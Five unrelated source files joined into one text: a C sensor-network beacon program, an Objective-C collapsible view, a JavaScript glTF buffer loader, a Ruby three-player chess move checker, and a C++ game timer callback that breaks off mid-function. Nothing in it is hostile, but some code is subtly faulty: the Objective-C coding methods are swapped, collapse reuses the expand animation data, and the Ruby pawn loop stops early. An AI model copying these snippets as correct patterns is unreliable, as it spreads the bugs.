//  modify it under the terms of the mos license (see file LICENSE)

/********************************************************************/
/*   File:  tesbed-multihop-base.c                                  */
/* Author:  Charles Gruenwald  :  gruenwal@colorado.edu             */
/*   Date:  11/22/05                                                */
/*                                                                  */
/********************************************************************/

#include <inttypes.h>

#include "mos.h"
#include "msched.h"  // MANTIS scheduler (gives us start)
#include "led.h"     // LED control
#include "clock.h"
#include "printf.h"
#include "mst.h"
#include "com.h"
#include "command_daemon.h"

#include "testbed_event.h"

#ifdef PLATFORM_MICA2
#include "cc1000.h"
#endif
#if defined(PLATFORM_MICAZ) || defined(PLATFORM_TELOSB)
#include "cc2420.h"
#endif

static comBuf beaconBuf, msgBuf;

//explicit timeout
static uint32_t beacon_time = 0;
//static uint32_t beacon_time = 5000;

void periodic_beacon();
void output_power();
void sink_thread();

#define LISTEN_PORT 40

void beacon();
void test();
void beacon_timeout();

void beacon_init();

void start(void)
{
   mos_mdelay(1000);
   printf("mst Base Started.\n");

   com_mode(IFACE_SERIAL, IF_LISTEN);
   com_mode(IFACE_RADIO, IF_LISTEN);

   beacon_init();
//   mos_thread_new(sink_thread, 128, PRIORITY_NORMAL);
   mos_thread_new(periodic_beacon, 192, PRIORITY_NORMAL);
   mos_thread_new(mos_command_daemon, MOS_COMMANDER_STACK_SIZE,
		  PRIORITY_NORMAL);

   mos_register_function("test", test);
   mos_register_function("beacon", beacon);
   mos_register_function("beacon_timeout", beacon_timeout);
   mos_register_function("output_power", output_power);
}

void beacon_init()
{
   uint16_t id = 0;

   mst_proto_init();
   mst_proto_ioctl(SET_ADDR, BASE_STATION_ADDRESS);
   mst_proto_ioctl(SET_DTB, 0);

   send_testbed_event(EVENT_NETWORK, NETWORK_ID, (uint8_t *)&id, 2);

   com_ioctl_IFACE_RADIO(RADIO_TX_POWER, 0x00);
}

void test()
{
   printf("this thread still running.\n");
}

void beacon_timeout()
{
   uint16_t new_timeout = prompt_long("#:");
   beacon_time = (uint32_t) new_timeout;
}

void output_power()
{
   uint8_t new_power = prompt_char("#:");
   com_ioctl_IFACE_RADIO(RADIO_TX_POWER, new_power);

}

void beacon()
{
   beaconBuf.size=0;
   net_send(&beaconBuf, MST_PROTO_ID, true, MST_CONTROL, 255);
}

/** @brief This is the sink thread which runs at the base station. All
    data converges up to the base station
*/
void sink_thread()
{
   comBuf *bufPtr;
   mst_packet_t *mst_info;
   recv_pkt_event_t recv_event;
   mst_proto_init();

   while(1) {
      bufPtr = net_recv(LISTEN_PORT);

      mst_info = (mst_packet_t *)&(bufPtr->data[bufPtr->size-sizeof(mst_packet_t)]);
      mos_led_toggle(1);
      /*
      recv_event.src = mst_info->src;
      recv_event.size = bufPtr->size;
      send_testbed_event(EVENT_NETWORK, PACKET_RECV,
			 (uint8_t *)&recv_event, 3);
			 printf("data packet.\n");
      */
      //App needs to free the buffer
      com_free_buf(bufPtr);

   }
}

/** @brief The base station periodically sends out beacons. The
 * current timer is set for 4sec. The format of the control packet is
 * as follows: Src, Dest, Type, SeqNo, DistanceToBase, TTL, ParentID
*/
void periodic_beacon()
{
   while (1) {
      if(beacon_time > 0)
      {
	 beaconBuf.size=0;
	 net_send(&beaconBuf, MST_PROTO_ID, true, MST_CONTROL, 255);
	 mos_thread_sleep(beacon_time);
      } else {
	 mos_thread_sleep(3000);
      }
      mos_led_toggle (2);
   }
}


text:
NSString *TLCollapsibleViewDetailViewDidChangeFrameNotification = @"TLCollapsibleViewDetailViewDidChangeFrameNotification";

NSString *TLCollapsibleViewAnimationTypeKey = @"TLCollapsibleViewAnimationTypeKey";
NSString *TLCollapsibleViewAnimationInfoKey = @"TLCollapsibleViewAnimationInfoKey";
NSString *TLCollapsibleViewDetailViewAnimationInfoKey = @"TLCollapsibleViewDetailViewAnimationInfoKey";

@interface NSView (KeysForCoding)
- (NSArray *)keysForCoding;
@end

@interface TLCollapsibleView ()
@property(nonatomic,readwrite,retain) TLDisclosureBar *disclosureBar;
@property(nonatomic,readwrite,retain) NSViewAnimation *expandAnimation;
@property(nonatomic,readwrite,retain) NSViewAnimation *collapseAnimation;
@end

@interface TLCollapsibleView (Private)
- (void)_expand;
- (void)_collapse;
- (NSDictionary *)_expandAnimationInfo;
- (NSDictionary *)_collapseAnimationInfo;
@end

@implementation TLCollapsibleView (Private)
- (void)_expand;
{
	if ([[self superview] isKindOfClass:[TLAnimatingOutlineView class]] && [[TLAnimatingOutlineView class] instancesRespondToSelector:@selector(expandItem:)])
		[(TLAnimatingOutlineView *)[self superview] expandItem:self];
	else
		[self expand];
}

- (void)_collapse;
{
	if ([[self superview] isKindOfClass:[TLAnimatingOutlineView class]] && [[TLAnimatingOutlineView class] instancesRespondToSelector:@selector(expandItem:)])
		[(TLAnimatingOutlineView *)[self superview] collapseItem:self];
	else
		[self collapse];
}

- (NSDictionary *)_expandAnimationInfo;
{
	NSRect newDetailViewFrame = [self.detailView frame];
	newDetailViewFrame.origin.y = NSMaxY([self.disclosureBar frame]);
	NSDictionary *detailViewAnimationInfo = [NSDictionary dictionaryWithObjectsAndKeys:self.detailView,NSViewAnimationTargetKey,[NSValue valueWithRect:[self.detailView frame]],NSViewAnimationStartFrameKey,[NSValue valueWithRect:newDetailViewFrame],NSViewAnimationEndFrameKey,nil];

	NSRect newViewFrame = [self frame];
	newViewFrame.size.height = NSHeight([self.disclosureBar frame]) + NSHeight([self.detailView frame]);
	NSDictionary *viewAnimationInfo = [NSDictionary dictionaryWithObjectsAndKeys:self,NSViewAnimationTargetKey,[NSValue valueWithRect:[self frame]],NSViewAnimationStartFrameKey,[NSValue valueWithRect:newViewFrame],NSViewAnimationEndFrameKey,nil];

	return [NSDictionary dictionaryWithObjectsAndKeys:detailViewAnimationInfo,TLCollapsibleViewDetailViewAnimationInfoKey,viewAnimationInfo,TLCollapsibleViewAnimationInfoKey,[NSNumber numberWithUnsignedInt:TLCollapsibleViewExpansionAnimation],TLCollapsibleViewAnimationTypeKey,nil];
}

- (NSDictionary *)_collapseAnimationInfo;
{
	NSRect newDetailViewFrame = [self.detailView frame];
	newDetailViewFrame.origin.y = NSMaxY([self.disclosureBar frame]) - NSHeight([self.detailView frame]);
	NSDictionary *detailViewAnimationInfo = [NSDictionary dictionaryWithObjectsAndKeys:self.detailView,NSViewAnimationTargetKey,[NSValue valueWithRect:[self.detailView frame]],NSViewAnimationStartFrameKey,[NSValue valueWithRect:newDetailViewFrame],NSViewAnimationEndFrameKey,nil];

	NSRect newViewFrame = [self frame];
	newViewFrame.size.height = NSHeight([self.disclosureBar frame]);
	NSDictionary *viewAnimationInfo = [NSDictionary dictionaryWithObjectsAndKeys:self,NSViewAnimationTargetKey,[NSValue valueWithRect:[self frame]],NSViewAnimationStartFrameKey,[NSValue valueWithRect:newViewFrame],NSViewAnimationEndFrameKey,nil];

	return [NSDictionary dictionaryWithObjectsAndKeys:detailViewAnimationInfo,TLCollapsibleViewDetailViewAnimationInfoKey,viewAnimationInfo,TLCollapsibleViewAnimationInfoKey,[NSNumber numberWithUnsignedInt:TLCollapsibleViewCollapseAnimation],TLCollapsibleViewAnimationTypeKey,nil];
}

- (void)_detailViewFrameDidChange:(NSNotification *)notification;
{
	// if we're expanded and the height of the detail view has been increased or decreased then we need to alter our frame to fit
	if (self.expanded && (NSHeight([self frame]) != NSHeight([self.disclosureBar frame]) + NSHeight([self.detailView frame]))) {
		NSRect newFrame = [self frame];
		newFrame.size.height = NSHeight([self.disclosureBar frame]) + NSHeight([self.detailView frame]);
		[self setFrame:newFrame];
		[[NSNotificationCenter defaultCenter] postNotificationName:TLCollapsibleViewDetailViewDidChangeFrameNotification object:self userInfo:[NSDictionary dictionaryWithObjectsAndKeys:self,@"NSObject",nil]]; // The TLAnimatingOutlineView registers for this note so it can alter the positions of its subviews to accomoadte a change in height of this one.
	}
}

@end

@implementation TLCollapsibleView
@synthesize disclosureBar = _disclosureBar;
@synthesize detailView = _detailView;
@synthesize expanded = _expanded;
@synthesize animating = _animating;
@synthesize expandAnimation = _expandAnimation;
@synthesize collapseAnimation = _collapseAnimation;
@dynamic hasDisclosureButton;

- (id)initWithFrame:(NSRect)frame;
{
	[NSException raise:NSGenericException format:@"%s is not the designated initialiser for instances of class: %@",__func__,[self className]];
	return nil;
}

- (id)initWithFrame:(NSRect)frame detailView:(NSView <TLCollapsibleDetailView> *)detailView expanded:(BOOL)expanded;
{
	if (![super initWithFrame:frame])
		return nil;
	[self setAutoresizesSubviews:YES];
	[self setAutoresizingMask:NSViewWidthSizable];

	NSRect disclosureBarFrame = frame;
	disclosureBarFrame.size.height = 21.0f;
	disclosureBarFrame.origin.y = 0.0f;
	self.disclosureBar = [[[TLDisclosureBar alloc] initWithFrame:disclosureBarFrame expanded:expanded] autorelease];

	NSRect detailViewFrame = [detailView frame];
	detailViewFrame.size.width = NSWidth(frame);
	detailViewFrame.origin.y = expanded ? NSMaxY(disclosureBarFrame) : NSMaxY(disclosureBarFrame) - NSHeight(detailViewFrame);
	[detailView setFrame:detailViewFrame];
	[detailView setAutoresizingMask:NSViewWidthSizable];
	self.detailView = detailView;

	frame.size.height = expanded ? NSHeight(disclosureBarFrame) + NSHeight(detailViewFrame) : NSHeight(disclosureBarFrame);
	[self setFrame:frame];

	[self addSubview:self.detailView];
	[self addSubview:self.disclosureBar];

	[[self.disclosureBar disclosureButton] setAction:@selector(toggleExpansionState:)];
	[[self.disclosureBar disclosureButton] setTarget:self];

    return self;
}

- (NSArray *)keysForCoding;
{
	NSArray *keys = [NSArray arrayWithObjects:nil];
	if ([[[self class] superclass] instancesRespondToSelector:@selector(keysForCoding)])
    {
		keys = [[super keysForCoding] arrayByAddingObjectsFromArray:keys];
    }
	return keys;
}

- (id)initWithCoder:(NSCoder *)coder;
{
	if (![super initWithCoder:coder])
		return nil;
	for (NSString *key in [self keysForCoding])
		[coder encodeObject:[self valueForKey:key] forKey:key];
	return self;
}

- (void)encodeWithCoder:(NSCoder *)coder;
{
	for (NSString *key in [self keysForCoding])
		[self setValue:[coder decodeObjectForKey:key] forKey:key];
	[super encodeWithCoder:coder];
}

- (void)dealloc;
{
	[[NSNotificationCenter defaultCenter] removeObserver:self];
	[_disclosureBar release];
	[_detailView release];
	[_expandAnimation release];
	[_collapseAnimation release];
	[super dealloc];
}

- (BOOL)isFlipped;
{
	return YES;
}

- (void)setDetailView:(NSView <TLCollapsibleDetailView> *)detailView;
{
	if (_detailView == detailView)
		return;
	[[NSNotificationCenter defaultCenter] removeObserver:self name:NSViewFrameDidChangeNotification object:_detailView];
	[_detailView release];
	_detailView = [detailView retain];
	[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(_detailViewFrameDidChange:) name:NSViewFrameDidChangeNotification object:_detailView];
}

- (void)setHasDisclosureButton:(BOOL)flag;
{
	[self.disclosureBar setHasDisclosureButton:flag];
}

- (BOOL)hasDisclosureButton;
{
	return [self.disclosureBar hasDisclosureButton];
}

- (BOOL)expanded;
{
	return NSMinY([self.detailView frame]) >= NSMaxY([self.disclosureBar frame]);
}

- (IBAction)toggleExpansionState:(id)sender;
{
	self.expanded ? [self _collapse] : [self _expand];
}

- (void)expand;
{
	if (self.expanded)
		return;

	if ([self.detailView respondsToSelector:@selector(canExpand)]) {
		if (![self.detailView canExpand])
			return;
	}

	if ([self.detailView respondsToSelector:@selector(viewWillExpand)])
		[self.detailView viewWillExpand];

	NSDictionary *expandAnimationInfo = [self _expandAnimationInfo];
	NSArray *viewAnimations = [NSArray arrayWithObjects:[expandAnimationInfo objectForKey:TLCollapsibleViewAnimationInfoKey], [expandAnimationInfo objectForKey:TLCollapsibleViewDetailViewAnimationInfoKey],nil];
	self.expandAnimation = [[[NSViewAnimation alloc] initWithViewAnimations:viewAnimations] autorelease];
	[self.expandAnimation setDuration:0.25];
	[self.expandAnimation setAnimationCurve:NSAnimationEaseInOut];
	[self.expandAnimation setDelegate:self];
	[self.expandAnimation startAnimation];
}

- (void)collapse;
{
	if (!self.expanded)
		return;

	if ([self.detailView respondsToSelector:@selector(canCollapse)]) {
		if (![self.detailView canCollapse])
			return;
	}

	if ([self.detailView respondsToSelector:@selector(viewWillCollapse)])
		[self.detailView viewWillCollapse];

	NSDictionary *collapseAnimationInfo = [self _expandAnimationInfo];
	NSArray *viewAnimations = [NSArray arrayWithObjects:[collapseAnimationInfo objectForKey:TLCollapsibleViewAnimationInfoKey], [collapseAnimationInfo objectForKey:TLCollapsibleViewDetailViewAnimationInfoKey],nil];
	self.collapseAnimation = [[[NSViewAnimation alloc] initWithViewAnimations:viewAnimations] autorelease];
	[self.collapseAnimation setDuration:0.25];
	[self.collapseAnimation setAnimationCurve:NSAnimationEaseInOut];
	[self.collapseAnimation setDelegate:self];
	[self.collapseAnimation startAnimation];
}

- (NSDictionary *)expandAnimationInfo;
{
	if (self.expanded)
		return nil;

	if ([self.detailView respondsToSelector:@selector(canExpand)]) {
		if (![self.detailView canExpand])
			return nil;
	}

	return [self _expandAnimationInfo];
}

- (NSDictionary *)collapseAnimationInfo;
{
	if (!self.expanded)
		return nil;

	if ([self.detailView respondsToSelector:@selector(canCollapse)]) {
		if (![self.detailView canCollapse])
			return nil;
	}

	return [self _collapseAnimationInfo];
}

@end

@implementation TLCollapsibleView (NSViewAnimationDelegate)
- (BOOL)animationShouldStart:(NSAnimation *)animation;
{
	self.animating = YES;
	return YES;
}

- (void)animationDidEnd:(NSAnimation *)animation;
{
	self.animating = NO;
	[[self.disclosureBar disclosureButton] setState:self.expanded ? NSOnState : NSOffState];
}

@end


text:
(function () {

    'use strict';

    let context = require('../render/gl');

    module.exports = function(gltf, description, done) {
        let gl = context();
        let buffer = gltf.buffers[ description.buffer ].instance;
        description.source = buffer.slice(description.byteOffset, description.byteOffset + description.byteLength);
        if (description.target) {
            description.instance = gl.createBuffer();
            gl.bindBuffer(description.target, description.instance);
            gl.bufferData(description.target, description.source, gl.STATIC_DRAW);
        }
        done(null);
    };

}());


text:
module DeskHelper
	# WARNING!! very hardcoded string (business logic), don't touch anithing in constants
	VERTICAL_LINES = [%w(A1 A2 A3 A4 A9 A10 A11 A12),
						%w(B1 B2 B3 B4 B9 B10 B11 B12),
						%w(C1 C2 C3 C4 C9 C10 C11 C12),
						%w(D1 D2 D3 D4 D9 D10 D11 D12),

						%w(E1 E2 E3 E4 E5 E6 E7 E8),
						%w(F1 F2 F3 F4 F5 F6 F7 F8),
						%w(G1 G2 G3 G4 G5 G6 G7 G8),
						%w(H1 H2 H3 H4 H5 H6 H7 H8),

						%w(K8 K7 K6 K5 K9 K10 K11 K12),
						%w(L8 L7 L6 L5 L9 L10 L11 L12),
						%w(M8 M7 M6 M5 M9 M10 M11 M12),
						%w(N8 N7 N6 N5 N9 N10 N11 N12)]

	HORIZONTAL_LINE = [%w(A1 B1 C1 D1 E1 F1 G1 H1),
						%w(A2 B2 C2 D2 E2 F2 G2 H2),
						%w(A3 B3 C3 D3 E3 F3 G3 H3),
						%w(A4 B4 C4 D4 E4 F4 G4 H4),

						%w(H8 G8 F8 E8 K8 L8 M8 N8),
						%w(H7 G7 F7 E7 K7 L7 M7 N7),
						%w(H6 G6 F6 E6 K6 L6 M6 N6),
						%w(H5 G5 F5 E5 K5 L5 M5 N5),

						%w(N12 M12 L12 K12 D12 C12 B12 A12),
						%w(N11 M11 L11 K11 D11 C11 B11 A11),
						%w(N10 M10 L10 K10 D10 C10 B10 A10),
						%w(N9 M9 L9 K9 D9 C9 B9 A9)]

	DIAGONALS = [%w(G1 H2),
					%w(F1 G2 H3),
					%w(E1 F2 G3 H4),
					%w(D1 E2 F3 G4 H5),
					%w(C1 D2 E3 F4 G5 H6),
					%w(B1 C2 D3 E4 F5 G6 H7),
					%w(B1 A2),
					%w(C1 B2 A3),
					%w(D1 C2 B3 A4),
					%w(E1 D2 C3 B4 A9),
					%w(F1 E2 D3 C4 B9 A10),
					%w(G1 F2 E3 D4 C9 B10 A11),
					%w(B12 A11),
					%w(C12 B11 A10),
					%w(D12 C11 B10 A9),
					%w(K12 D11 C10 B9 A4),
					%w(L12 K11 D10 C9 B4 A3),
					%w(M12 L11 K10 D9 C4 B3 A2),
					%w(M12 N11),
					%w(L12 M11 N10),
					%w(K12 L11 M10 N9),
					%w(D12 K11 L10 M9 N5),
					%w(C12 D11 K10 L9 M5 N6),
					%w(B12 C11 D10 K9 L5 M6 N7),
					%w(M8 N7),
					%w(L8 M7 N6),
					%w(K8 L7 M6 N5),
					%w(E8 K7 L6 M5 N9),
					%w(F8 E7 K6 L5 M9 N10),
					%w(G8 F7 E6 K5 L9 M10 N11),
					%w(G8 H7),
					%w(F8 G7 H6),
					%w(E8 F7 G6 H5),
					%w(K8 E7 F6 G5 H4),
					%w(L8 K7 E6 F5 G4 H3),
					%w(M8 L7 K6 E5 F4 G3 H2)]

	CENTER_DIAGONALS_WHITE = [%w(H1 G2 F3 E4),
								%w(A12 B11 C10 D9),
								%w(N8 M7 L6 K5)]

	CENTER_DIAGONALS_BLACK = [%w(A1 B2 C3 D4),
								%w(N12 M11 L10 K9),
								%w(H8 G7 F6 E5)]

	def is_user_can_move_from_to(desk,from,to)
		puts "is_user_can_move_from_to #{desk} #{from} #{to} #{current_user} #{current_user.desk.user_walketh_id}"
		if current_user.id == current_user.desk.user_walketh_id
			puts "check point 1 <"
			from_name = from.upcase
			to_name = to.upcase

			from_square = desk.squares.where(:name => from_name).take

			if from_square and from_square.figure and from_square.figure.user == current_user
				puts "check point 2 <"

				to_square = desk.squares.where(:name => to_name).take

				if to_square
					if to_square.figure and to_square.figure.user == current_user
						puts "check point 2.1 <"
						return false
					end
					puts "check point 3 <"
					# check how figure moving
					selected_figure = from_square.figure
					current_color = current_user.color

					is_can_move = false

					if selected_figure.figure_type == 1 #king
						moving_line = moving_line_for_rook_at_square_to_square(from_name,to_name)
						if moving_line
							is_can_move = is_king_can_move_on_path(from_name,to_name,moving_line,desk)
							if not is_can_move
								# may be King can make_castling
								is_casting = is_king_can_make_castling(from_name,to_name,moving_line,desk)
								puts "check point qweqwe #{is_casting}"
								if is_casting
									# move rook
									# {move_rook: {from: path[rook_index], to: path[new_rook_square_index]}}
									rook_from_square = is_casting[:move_rook][:from]
									rook_to_square = is_casting[:move_rook][:to]
									move_figure_from_square_to_square(rook_from_square,rook_to_square,desk)

									return true
								end
							end
							return is_can_move
						end

						moving_diagonal = moving_diagonal_for_bishop_at_square_to_square(from_name,to_name)
						if moving_diagonal
							is_can_move = is_king_can_move_on_path(from_name,to_name,moving_diagonal,desk)
							return is_can_move
						end

						return false
						# king END:
					elsif selected_figure.figure_type == 2 #queen
						moving_line = moving_line_for_rook_at_square_to_square(from_name,to_name)
						if moving_line
							is_can_move = is_nobody_overlap_way_from_to_on_path(from_name,to_name,moving_line,desk)
							return is_can_move
						end

						moving_diagonal = moving_diagonal_for_bishop_at_square_to_square(from_name,to_name)
						if moving_diagonal
							is_can_move = is_nobody_overlap_way_from_to_on_path(from_name,to_name,moving_diagonal,desk)
							return is_can_move
						end

						return false
						# queen END:
					elsif selected_figure.figure_type == 3 #rook
						moving_line = moving_line_for_rook_at_square_to_square(from_name,to_name)
						if moving_line
							is_can_move = is_nobody_overlap_way_from_to_on_path(from_name,to_name,moving_line,desk)
							return is_can_move
						end

						return false
						# rook END
					elsif selected_figure.figure_type == 4 #bishop
						moving_diagonal = moving_diagonal_for_bishop_at_square_to_square(from_name,to_name)
						if moving_diagonal
							is_can_move = is_nobody_overlap_way_from_to_on_path(from_name,to_name,moving_diagonal,desk)
							return is_can_move
						end

						return false
						#bishop END
					elsif selected_figure.figure_type == 5 #knight
						available_squares = available_squares_for_knight_at_square(from_name)
						available_squares.each do |tmp_square|
							if tmp_square == to_name
								return true
							end
						end

						return false
						# knight END:
					elsif selected_figure.figure_type == 6 #pawn
						moving_length = is_pawn_first_move(from_name,current_color) ? 2 : 1
						pawn_on_line = vertical_line_for_square(from_name)
						pawn_on_line = sort_vertical_line_for_pawn_with_color(pawn_on_line,from_name,current_color)

						if pawn_on_line and pawn_on_line.include? to_name

							from_index = pawn_on_line.index(from_name)
							to_index = pawn_on_line.index(to_name)
							length_bitween_square = to_index - from_index

							if length_bitween_square > 0 and length_bitween_square <= moving_length

								((from_index + 1)..to_index).to_a.each do |square_index|
									square_tmp_name = pawn_on_line[square_index]
									if desk.squares.where(:name => square_tmp_name).take.figure
										return false
									end
									return true
								end
							end
						else # pawn_on_line and pawn_on_line.include? to_name
							# may be pawn can attack someone
							attack_squares = attack_squares_for_pawn_at_square(from_name, pawn_on_line, current_color)
							if attack_squares
								attack_squares.each do |attack_square|
									if attack_square == to_name and to_square.figure
										return true
									end
								end
							end
						end
					end

				end
			end
		end

		return false
	end

	def move_figure_from_square_to_square(from_name,to_name,desk)
		to_square = desk.squares.where(:name => to_name.upcase).take
		if to_square.figure
			if to_square.figure.figure_type != 1
				to_square.figure.delete
			else
				return false
			end
		end

		from_figure = desk.squares.where(:name => from_name.upcase).take.figure

		from_figure.square.update_attribute(:figure, nil)
		to_square.update_attribute(:figure, from_figure)
		from_figure.update_attribute(:square, to_square)

		if from_figure.figure_type == 6 # pawn
			if is_pawn_come_to_last_line(to_name,current_user.color)
				from_figure.update_attribute(:figure_type, 2)
			end
		end

		return true
	end

	def is_pawn_come_to_last_line(square_name, pawn_color)
		square = square_name.upcase
		horizontal_line = horizontal_line_for_square(square)
		line_index = HORIZONTAL_LINE.index(horizontal_line)
		if pawn_color == 1 and (line_index == 4 or line_index == 8)
			return true
		elsif pawn_color == 2 and (line_index == 0 or line_index == 4)
			return true
		elsif pawn_color == 3 and (line_index == 0 or line_index == 8)
			return true
		end
		return false
	end

	def is_pawn_first_move(square_name, color)
		start_line_for_pawn = (color == 1) ? "2" : (color == 2 ? "11" : "7")
		if square_name.sub(/\w/,'') == start_line_for_pawn
			return true
		end
		return false
	end

	def vertical_line_for_square(square_name)
		VERTICAL_LINES.each do |line|
			if line.include? square_name
				return line
			end
		end
	end

	def horizontal_line_for_square(square_name)
		HORIZONTAL_LINE.each do |line|
			if line.include? square_name
				return line
			end
		end
	end

	def diagonals_for_square(square_name)
		diagonals = []
		DIAGONALS.each do |diagonal|
			if diagonal.include? square_name
				diagonals << diagonal
			end
		end
		return (diagonals.length > 0) ? diagonals : nil
	end

	def center_diagonals_for_square(square_name)
		white_diagonal = center_diagonal_white_for_square(square_name)
		black_diagobal = center_diagonal_black_for_square(square_name)
		return {white: white_diagonal, black: black_diagobal}
	end

	def center_diagonal_white_for_square(square_name)
		CENTER_DIAGONALS_WHITE.each do |diagonal|
			if diagonal.include? square_name
				return diagonal
			end
		end
		return nil
	end

	def center_diagonal_black_for_square(square_name)
		CENTER_DIAGONALS_BLACK.each do |diagonal|
			if diagonal.include? square_name
				return diagonal
			end
		end
		return nil
	end

	def attack_squares_for_pawn_at_square(square_name, line, pawn_color)
		pawn_index = line.index(square_name)
		next_square = line[pawn_index + 1]

		if next_square
			horizontal_line = horizontal_line_for_square(next_square)
			if horizontal_line
				# check for squares with standart 2 players logic
				index = horizontal_line.index(next_square)
				attack_squares = []
				if horizontal_line[index + 1]
					attack_squares << horizontal_line[index + 1]
				end
				if horizontal_line[index - 1]
					attack_squares << horizontal_line[index - 1]
				end

				# check for squares with 3 players logic on center diagonals
				center_attack_squares = attack_squares_for_pawn_at_square_with_color(square_name, pawn_color)
				if center_attack_squares
					attack_squares += center_attack_squares
					attack_squares.uniq!
				end

				return (attack_squares.length == 0) ? nil : attack_squares
			end
		end
		return nil
	end

	def sort_vertical_line_for_pawn_with_color(line,pawn_square,color)
		line_index = VERTICAL_LINES.index line
		square_index = line.index pawn_square

		if color == 1 and line_index > 7 and line_index < 12
			if square_index < 4
				return line.reverse
			end
		elsif color == 2
			puts "check point ololo >>> #{line_index} #{square_index}"
			unless line_index > 3 and line_index < 8 and square_index > 3
				puts "check point ololo >>> #{line.reverse}"
				return line.reverse
			end
		elsif color ==3
			if (line_index >=4 and line_index < 8) or
				(line_index >= 0 and line_index < 4 and square_index < 4)
				return line.reverse
			end
		end
		return line
	end

	def attack_squares_for_pawn_at_square_with_color(square_name, pawn_color)
		diagonals = center_diagonals_for_square(square_name)
		diagonal = diagonals[:white] || diagonals[:black]

		if diagonal
			# which center diagonal
			center_diagonal = diagonals[:white] ? CENTER_DIAGONALS_WHITE : CENTER_DIAGONALS_BLACK
			square_index = diagonal.index(square_name)

			if square_index == 3
				diagonalIndex = center_diagonal.index(diagonal)
				puts "aaaa center_diagonal #{center_diagonal} #{diagonalIndex} #{pawn_color}"
				if pawn_color == 1 and diagonalIndex == 0
					return [center_diagonal[1][3],center_diagonal[2][3]]
				elsif pawn_color == 2 and diagonalIndex == 1
					return [center_diagonal[0][3],center_diagonal[2][3]]
				elsif pawn_color == 3 and diagonalIndex == 2
					return [center_diagonal[0][3],center_diagonal[1][3]]
				end
			end
		end
		return nil;
	end

	def moving_diagonal_for_bishop_at_square_to_square(from_square,to_square)
		diagonals = diagonals_for_square(from_square)
		if diagonals
			#check if to_square on it diagonal
			diagonals.each do |diagonal|
				if diagonal.include? to_square
					return diagonal
				end
			end
		end

		# check if can move on center diagonal
		center_diagonals = center_diagonals_for_square(from_square)
		center_diagonal = center_diagonals[:white] ? CENTER_DIAGONALS_WHITE : CENTER_DIAGONALS_BLACK

		from_diagonal = center_diagonals[:white] || center_diagonals[:black]

		#check if to_square on it diagonal
		center_diagonal.each do |tmp_diagonal|
			if tmp_diagonal.include? to_square
				from_diagonal_index = center_diagonal.index(from_diagonal)
				to_diagonal_index = center_diagonal.index(tmp_diagonal)
				if from_diagonal_index == to_diagonal_index
					return from_diagonal
				else
					long_diagonal = from_diagonal + tmp_diagonal.reverse
					return long_diagonal
				end
			end
		end

		return nil
	end

	def moving_line_for_rook_at_square_to_square(from_square,to_square)
		h_line = horizontal_line_for_square(from_square)
		if h_line.include? to_square
			return h_line
		end

		v_line = vertical_line_for_square(from_square)
		if v_line.include? to_square
			return v_line
		end

		return nil
	end

	def available_squares_for_knight_at_square(from_square)
		available_squares = []

		v_line = vertical_line_for_square(from_square)
		square_index = v_line.index(from_square)

		if square_index < 6
			step_one_square = v_line[square_index + 2]
			available_squares += get_horizontal_squares_for_knight_step_one_square(step_one_square)
		end

		if square_index > 1
			step_one_square = v_line[square_index - 2]
			available_squares += get_horizontal_squares_for_knight_step_one_square(step_one_square)
		end

		h_line = horizontal_line_for_square(from_square)
		square_index = h_line.index(from_square)

		if square_index < 6
			step_one_square = h_line[square_index + 2]
			available_squares += get_vertical_squares_for_knight_step_one_square(step_one_square)
		end

		if square_index > 1
			step_one_square = h_line[square_index - 2]
			available_squares += get_vertical_squares_for_knight_step_one_square(step_one_square)
		end

		return ( available_squares.length > 0 ) ? available_squares : nil
	end

	def get_horizontal_squares_for_knight_step_one_square(for_square)
		available_squares = []
		h_line = horizontal_line_for_square(for_square)
		h_square_index = h_line.index(for_square)
		available_squares << h_line[h_square_index + 1] if h_line[h_square_index + 1]
		available_squares << h_line[h_square_index - 1] if h_line[h_square_index - 1]
		return available_squares
	end

	def get_vertical_squares_for_knight_step_one_square(for_square)
		available_squares = []
		v_line = vertical_line_for_square(for_square)
		v_square_index = v_line.index(for_square)
		available_squares << v_line[v_square_index + 1] if v_line[v_square_index + 1]
		available_squares << v_line[v_square_index - 1] if v_line[v_square_index - 1]
		return available_squares
	end

	def is_nobody_overlap_way_from_to_on_path(from_square,to_square,path,desk)
		from_index = path.index(from_square)
		to_index = path.index(to_square)
		if from_index and to_index
			min_index = [from_index, to_index].min + 1
			max_index = [from_index, to_index].max - 1
			(min_index..max_index).to_a.each do |index|
				tmp_square_name = path[index]
				if desk.squares.where(:name => tmp_square_name).take.figure
					return false
				end
			end
			return true
		end
		return false
	end

	def is_king_can_move_on_path(from_square,to_square,path,desk)
		from_index = path.index(from_square)
		to_index = path.index(to_square)
		length = (from_index - to_index).abs

		if length == 1
			return true
		end

		return false
	end

	def is_king_can_make_castling(from_square,to_square,path,desk)
		puts "is_king_can_make_castling !!!"
		king = current_user.figures.where(:figure_type => 1).take
		if king.untouched
			puts "is_king_can_make_castling king.untouched"
			is_horizontal_path = HORIZONTAL_LINE.include?(path)
			puts "is_king_can_make_castling is_horizontal_path #{is_horizontal_path}"
			if is_horizontal_path and path.include? to_square
				from_index = path.index(from_square)
				to_index = path.index(to_square)
				length = (from_index - to_index).abs
				puts "is_king_can_make_castling length #{length}"
				if length == 2
					rooks = current_user.figures.where(:figure_type => 3, :untouched => true)
					if rooks.count > 0
						rook_index = (from_index > to_index) ? 0 : 7

						rooks.each do |rook|
							puts "rook.square.name == path[rook_index] #{rook.square.name} | #{path[rook_index]}"
							if rook.square.name == path[rook_index]
								is_can_move = is_nobody_overlap_way_from_to_on_path(from_square,path[rook_index],path,desk)
								if is_can_move
									new_rook_square_index = (rook_index == 0) ? 3 : 5;
									return {move_rook: {from: path[rook_index], to: path[new_rook_square_index]}}
								end
							end
						end

					end
				end
			end
		end
		return nil
	end

end


text:
using orwell::com::RawMessage;
using orwell::messages::GameState;

namespace orwell
{
namespace callbacks
{

ProcessTimer::ProcessTimer(
		std::shared_ptr< com::Sender > ioPublisher,
		game::Game & ioGame)
	: InterfaceProcess(ioPublisher, ioGame)
{
}

void ProcessTimer::execute()
{
	ORWELL_LOG_TRACE("ProcessTimer::execute : broadcast Gamestate");

	GameState aGameState;
	aGameState.set_playing(m_game->getIsRunning());
	aGameState.set_seconds(m_game->getSecondsLeft());
	for (game::Landmark const & aLandmark:  m_game->getMapLimits())
	{
		messages::Landmark * aMapLimit = aGameState.add_map_limits();
		messages::Coordinates * aPosition = aMapLimit->mutable_position();
		aPosition->set_x(aLandmark.getPosition().getX());
		aPosition->set_y(aLandmark.getPosition().getY());
